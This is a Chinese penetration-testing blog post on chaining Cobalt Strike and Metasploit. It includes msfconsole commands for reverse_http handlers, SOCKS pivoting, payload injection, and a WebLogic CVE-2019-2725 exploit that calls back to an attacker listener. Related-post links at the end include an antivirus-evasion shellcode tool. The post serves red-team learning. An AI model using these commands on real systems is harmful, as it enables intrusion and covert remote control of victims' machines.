出品|MS08067实验室(www.ms08067.com)

本文作者:掉到鱼缸里的猫(Ms08067内网安全小组成员)

个人觉得CobaltStrike图形化的界面和丰富的功能,是一个超强的后渗透框架,尤其是方便管理横向移动过程中搜集到的各种数据和shell,但是对于漏洞利用、初始突破就显得十分乏力;另一边Metasploit作为漏洞利用框架,EXP及其顺滑,各种各样的模块,包含扫描、突破、拓展一条龙服务,但是对于多个shell的管理就显得有些乏力了(毕竟没有图形化界面,命令太多记不住)。于是,如何将两个框架有效的联动起来,就成为了今天想要学习的知识。

一.利用CS为MSF服务

利用CS的Beacon给MSF派生一个shell,执行后续的渗透任务:

在MSF中配置监听

# 配置监听器
msf> use exploit/multi/handler
# 选择payload
msf> windows/meterpreter/reverse_http
msf> set lhost IP
msf> set lport port
# 启动监听器
msf> set ExitOnSession False
msf> run -jz

在CS中建立一个外部监听器 Foreign HTTP (或 Foreign HTTPS )

选择想要派生的目标,右键选择 spawn 功能,选择刚刚建立的监听器,即可在MSF中接收到回连。

利用CS为MSF提供转发或代理功能,进行后续的探测和漏洞利用:

利用Beacon建立 socks 代理:

在Beacon中输入 socks 监听端口,或者右键想要作为转发的目标,在pivoting中选择 SOCKS Server ,配置监听端口后点击 launch 激活。

在view -> Proxy Pivots 中可以看到建立的转发器,点击Tunnel即可获得MSF的转发命令

复制到MSF中,设置代理和载荷类型

以CVE-2019-2725为测试靶机

#设置代理 msf> setg Proxies socks4:127.0.0.1:36725
#配置payload,因为是隔离网段的主机,无法直接反连回MSF,所以需要换成被动连接的bind类型载荷
msf> set payload windows/meterpreter/bind_tcp
msf> run

二.MSF为CS服务

主要就是使用MSF框架的EXP获取CS的Beacon

获取了一个命令执行Shell:

这是最简单的情况,也是最常见的情况,并不是所有的EXP都能反弹一个Meterpreter会话回来。

在CS中利用Attacks -> Web Drive-by -> Scripted Web Delivery 来部署一个Payload分发站点:

配置监听器和URL路径,启动后会弹出相应的命令提示

复制命令后,直接在MSF 的shell中执行即可

命令执行后MSF的会话会卡住,可以直接kill掉,不影响CS会话

获取了一个Meterpreter会话:

获得meterpreter会话后,利用MSF注入功能,加载Cs的payload

# 将meterpreter会话挂起
meterpreter> background
# 进入payload_inject模块
msf> use exploit/windows/local/payload_inject
# 根据CS监听器类型选择对应的payload(http或者https)
msf> set payload windows/meterpreter/reverse_http
# 设置回连地址(CS监听器地址)
msf> set LHOST CS_IP
msf> set LPORT CS_PORT
# 指定要执行的meterpreter会话
msf> set session meterpreter会话ID
# 设置MSF不启动监听(不然的话msf会提示执行成功,但没有会话建立,同时CS也不会接收到会话)
msf> set disablepayloadhandler true
msf> run

在过程中发现,这种方法只能向注入32位的payload,如果注入64位payload会导致目标进程崩溃,无法向64位程序中注入32位payload。崩溃原因是:APPCRASH(故障模块StackHash_af76),即使取得system权限、关闭UAC也还是不行。如果不设置pid,则会创建一个32位的notepad.exe进程,成功连接后记得及时迁移CS的会话进程。

直接反弹回CS:

在MSF漏洞利用时直接请求并加载CS的载荷,和第二种方法基本一致(测试漏洞为 CVE-2019-2725)

# 根据CS监听器类型选择对应的payload
msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set payload windows/meterpreter/reverse_http
# 设置回连地址(CS监听器地址)
msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set LHOST CS_IP
msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set LPORT CS_PORT
# 指定要执行的meterpreter会话
msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set session meterpreter会话ID
# 设置MSF不启动监听(不然的话msf会提示执行成功,但没有会话建立,同时CS也不会接收到会话)
msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set disablepayloadhandler true

其实和第二种操作是一样,都是调用MSF的模块,配置payload的参数而已。漏洞利用成功后直接通过无窗口 powershell 返回CS会话,目标主机没有窗口弹出。测试的时候无法加载64位payload,可能是这个漏洞利用后会启动一个32位的cmd.exe来执行后续命令的原因。

三.写在后面

  一开始打算是做一篇学习笔记,毕竟好记性不如烂笔头,看过的东西长时间不使用的话可能就忘记了,留下一个备忘录日后查询起来也方便。但是,做到后来就是一个爬坑的过程了,觉得自己好聪明,“这两个载荷名字好像,也没有文章提到,会不会也可联动呀?”,因为网上介绍的方法(中文文章)基本上都是和CS官方2016年发布的指南的是一样的,但是我看目前CS中Listener的种类不止 http和https ,还有

dns smb tcp

MSF中也有诸如

windows/meterpreter/reverse_tcp_dns
windows/meterpreter/bind_named_pipe
windows/meterpreter/reverse_tcp

这类看起来很像的payload模块,一番测试下来,也就只有http和https载荷可以接收到另一方回连的会话。果然还是是自己太年轻了,没有人提,确实就是因为它不是这样用的,毕竟两个框架一开始就是独立的,这样成熟的框架之间能有联通的方法已经给面子了,一开始就不应该奢求太多的。





转载请联系作者并注明出处!

Ms08067安全实验室专注于网络安全知识的普及和培训。团队已出版《Web安全攻防:渗透测试实战指南》,《内网安全攻防:渗透测试实战指南》,《Python安全攻防:渗透测试实战指南》,《Java代码安全审计(入门篇)》等书籍。

团队公众号定期分享关于CTF靶场、内网渗透、APT方面技术干货,从零开始、以实战落地为主,致力于做一个实用的干货分享型公众号。

官方网站:https://www.ms08067.com/

扫描下方二维码加入实验室VIP社区

加入后邀请加入内部VIP群,内部微信群永久有效!

CobaltStrike 和 Metasploit 联动的更多相关文章

  1. CobaltStrike与Metasploit联动配合

    利用CobaltStrike内置Socks功能 通过Beacon内置的Socks功能在VPS上开启代理端口,打通目标内网通道,之后将本地Metasploit直接带入目标内网,进行横向渗透. 首先,到已 ...

  2. CobaltStrike与Metasploit实战联动

    前言 CobalStrike 与 Metasploit 均是渗透利器,各有所长.前者更适合做稳控平台,后者则更擅长内网各类探测搜集与漏洞利用.两者更需要灵活的联动,各自相互依托,从而提升渗透的效率. ...

  3. Cobaltstrike、armitage联动

    i 春秋作家:fengzi 原文来自:Cobaltstrike.armitage联动 在使用Cobaltstrike的时候发现他在大型或者比较复杂的内网环境中,作为内网拓展以及红队工具使用时拓展能力有 ...

  4. CobaltStrike + Metasploit 联动使用

    本节的知识摘要: 通过 beacon内置的 socks功能将本地 Msf直接代入目标内网 借助 CobaltStrike的外部 tcp监听器通过 ssh隧道直接派生一个 meterpreter到本地 ...

  5. Cobaltstrike与Metasploit会话转换

    这里只做记录,不做详解 0x00 实验环境 被控制机:192.168.126.129 Metasploit:192.168.126.128 Cobaltstrike:182...* 0x01 CS会话 ...

  6. metasploit联动beef启动

    (温馨提示:请按照步骤来,否则beef到后面会启动不了) 我们首先进入vim /usr/share/beef-xss/config.yaml 找到metasploit把它改为启动 把false改为tr ...

  7. Cobaltstrike系列教程(二)-Listner与Payload生成 heatlevel

    0x000-前文 Cobaltstrike系列教程(一)简介与安装 0x001-Listner(监听器)介绍 ①Cobaltstrike listner简介 可能有一些小白并不理解什么叫做listne ...

  8. [原创]CobaltStrike & Metasploit Shellcode一键免杀工具

    CobaltStrike & Metasploit  Shellcode一键免杀工具 作者: K8哥哥 图片 1个月前该工具生成的exe免杀所有杀软,现在未测应该还能过90%的杀软吧. 可选. ...

  9. msf+cobaltstrike联动(一):把msf的session发给cobaltstrike

    前提:MFS已经获取到session,可以进入metepreter,现在需要使用cobaltstrike进行图形化管理或团队协作. cobaltstrike起一个beacon监听,如使用:window ...

随机推荐

  1. 翻译:《实用的Python编程》01_03_Numbers

    目录 | 上一节 (1.2 第一个程序) | 下一节 (1.4 字符串) 1.3 数字 本节讨论数学计算. 数字类型 Python 有 4 种类型的数字: 布尔型 整型 浮点型 复数(虚数) 布尔型( ...

  2. 如何正确的阅读 js 源码

    如何正确的阅读 js 源码 https://astexplorer.net/ AST Abstract Syntax Trees https://alligator.io/js/traversing- ...

  3. how to group date array by month in javascript

    how to group date array by month in javascript https://stackoverflow.com/questions/14446511/most-eff ...

  4. asm align 对齐数据

    最大成员dword data: dd 1 db 2 align 4 dw 3 000E0010 - 01 00 00 00 000E0014 - 02 00 00 00 000E0018 - 03 0 ...

  5. 炒币亏损一万美金?不如抢SPC空投!

    币圈的市场可以用风云变幻来形容,1月9日的时候比特币震荡,其他币种争先上涨,连平时都不涨的币种都拉出了10%-20%的领先涨幅,市场惊呼牛市来了,但喜悦还没有维持一天,1月10日(昨天)市场就走向另一 ...

  6. 阿里云linux安装nginx,亲测有效

    系统平台:CentOS release 6.6 (Final) 64位. 一.安装编译工具及库文件 yum -y install make zlib zlib-devel gcc-c++ libtoo ...

  7. redis slowlog 慢查询日志

    设置 config set slowlog-log-slower-than 10000(微秒) //查看redis时间超过上面设置的阀值的key slowlog len 有几个key slowlog ...

  8. 微信小程序引入ECharts组件

    首先打开ECharts网页 https://echarts.apache.org/zh/tutorial.html#%E5%9C%A8%E5%BE%AE%E4%BF%A1%E5%B0%8F%E7%A8 ...

  9. Java中出现Unhandled exception的原因

    说明某个方法在方法声明上已经声明了会抛异常,那么在调用这个方法的时候,就必须做异常处理,处理的方式有2种,要么try-catch这个异常,要么继续往上一层抛出这个异常,这是java语法要求的,必须这么 ...

  10. Tomcat 安装Manager

    sudo apt-get install tomcat8-admin tomcat8-docs tomcat8-examplessudo vi /etc/tomcat8/tomcat-users.xm ...